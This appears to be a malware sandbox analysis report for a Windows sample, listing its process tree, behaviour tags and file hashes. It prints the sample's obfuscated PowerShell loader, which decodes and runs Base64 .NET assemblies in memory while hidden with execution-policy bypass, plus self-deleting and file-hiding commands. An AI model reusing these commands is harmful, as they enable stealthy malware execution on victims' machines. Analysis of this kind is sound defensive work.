C:\Users\Admin\AppData\Roaming\startup_str.bat.exe"C:\Users\Admin\AppData\Roaming\startup_str.bat.exe" -noprofile -w hidden -ep bypass -command $gingerbread_ZGT90N5CQZ = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\startup_str.bat').Split([Environment]::NewLine); foreach ($gingerbread_1KH5QPC857 in $gingerbread_ZGT90N5CQZ) { $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_IR2OYLS2I9, '_', 'gingerbread_2REG6QYLBJP6'); if ($gingerbread_1KH5QPC857 -match $gingerbread_IR2OYLS2I9) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_1KH5QPC857, 'gingerbread_2REG6QYLBJP6', ''); $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, '#', '/');break; }; }; if ($gingerbread_5Q959MQ6PK.Contains('CHOQNLJXHRYDBXUDFLOEFXTOXDPILO')) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, 'CHOQNLJXHRYDBXUDFLOEFXTOXDPILO', ''); } else { exit }; $gingerbread_C3UENP8XTK = [string[]]$gingerbread_5Q959MQ6PK.Split('!'); $gingerbread_43B9R06ZVX = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[0]); $gingerbread_L6GT4COAOJ = [System.Reflection.Assembly]::Load($gingerbread_43B9R06ZVX); $gingerbread_75K25BI6VC = $gingerbread_L6GT4COAOJ.EntryPoint; $gingerbread_75K25BI6VC.Invoke($null, $null); $gingerbread_ONPA8XRGXD = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[1]); $gingerbread_P0L16O4G72 = [System.Reflection.Assembly]::Load($gingerbread_ONPA8XRGXD); $gingerbread_1JGKLRH6G6 = $gingerbread_P0L16O4G72.EntryPoint; $gingerbread_1JGKLRH6G6.Invoke($null, $null)5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4672 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(4672);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;6⤵
- Suspicious behavior: EnumeratesProcesses
PID:4424 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ATTRIB +H "C:\Users\Admin\AppData\Roaming\startup_str.bat.exe" & exit6⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:4344 -
C:\Windows\system32\attrib.exeATTRIB +H "C:\Users\Admin\AppData\Roaming\startup_str.bat.exe"7⤵
- Views/modifies file attributes
PID:4260
-
C:\Users\Admin\Desktop\1\Repo\bin\unam.exe"C:\Users\Admin\Desktop\1\Repo\bin\unam.exe"1⤵
- Executes dropped EXE
PID:3912
-
C:\Windows\System32\NOTEPAD.EXE"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\1\Repo\bin\dll.bat1⤵
- Opens file in notepad (likely ransom note)
PID:2812
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5df472dcddb36aa24247f8c8d8a517bd7
SHA16f54967355e507294cbc86662a6fbeedac9d7030
SHA256e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
SHA51206383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
-
Filesize
1KB
MD592b960421da14bf14cfe00469ed69130
SHA13a8d0978e53be61ed58dec0f6b2fd9d8d387633e
SHA25619562f4839146d03becec53f4fb92e6ae058de7efc43b2c34f5f626f830d4108
SHA5121ab578fd37d50371ad429bfc55285bd3980ef6049935ad9f4c6f68fa5b9364dda20d90581e5a1f193f0482acfffe68e2ee812df136aa8a900be11b897fb67de5
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
111B
MD5371257951e09cb56fafbbda4847cbcb7
SHA16d9dab286de574a099f6fe955720a1d87484cea3
SHA256bb77d873388b64bacd10df67a60d012ed4acc5b03b7fa1070584b7133fa371b3
SHA5121dffef10d8f25f6df8db17d09b278701211a40497d3aa8749676aeca3426cdc63232135984e74c8abf73442d917df7288b15d93229d8090684f3acba224f9bc1
-
Filesize
382KB
MD58b1f260a182f74419011f14a8ba21a37
SHA148d8da3f5971ebd6b358b6b63491b5e68f099a6c
SHA256478ca90bdf1d94b880dd18c1fd1a5b6124d4e1c4b77c546df88a0aa992aeb225
SHA512509a8b51cb3922f9be6c94029abbc4611b1ce438262abc9fef414780e97d7542d214ae42866ccaf540b52e6cfef017abfc00c891643b3b81753c9f4115ad64aa
-
Filesize
440KB
MD50e9ccd796e251916133392539572a374
SHA1eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA256c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
SHA512e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
-
Filesize
139KB
MD529d9c4a6c0be4ebb665ca5f423da7bdb
SHA1d22b7b928436ba4f9d7a3a40a6db20a227b57c2a
SHA256d833831e38738d03ed6156ec458d3252c379cf7c9c986fcfe8626184d3bceafd
SHA512114e82df03e624ef350a5c71bd05594f9075afce7a2d978ede81a9cc086a9d87fec7884b5f5e7e1b52b8a24741fdaf453033b486b87d79cc599af37162870d0d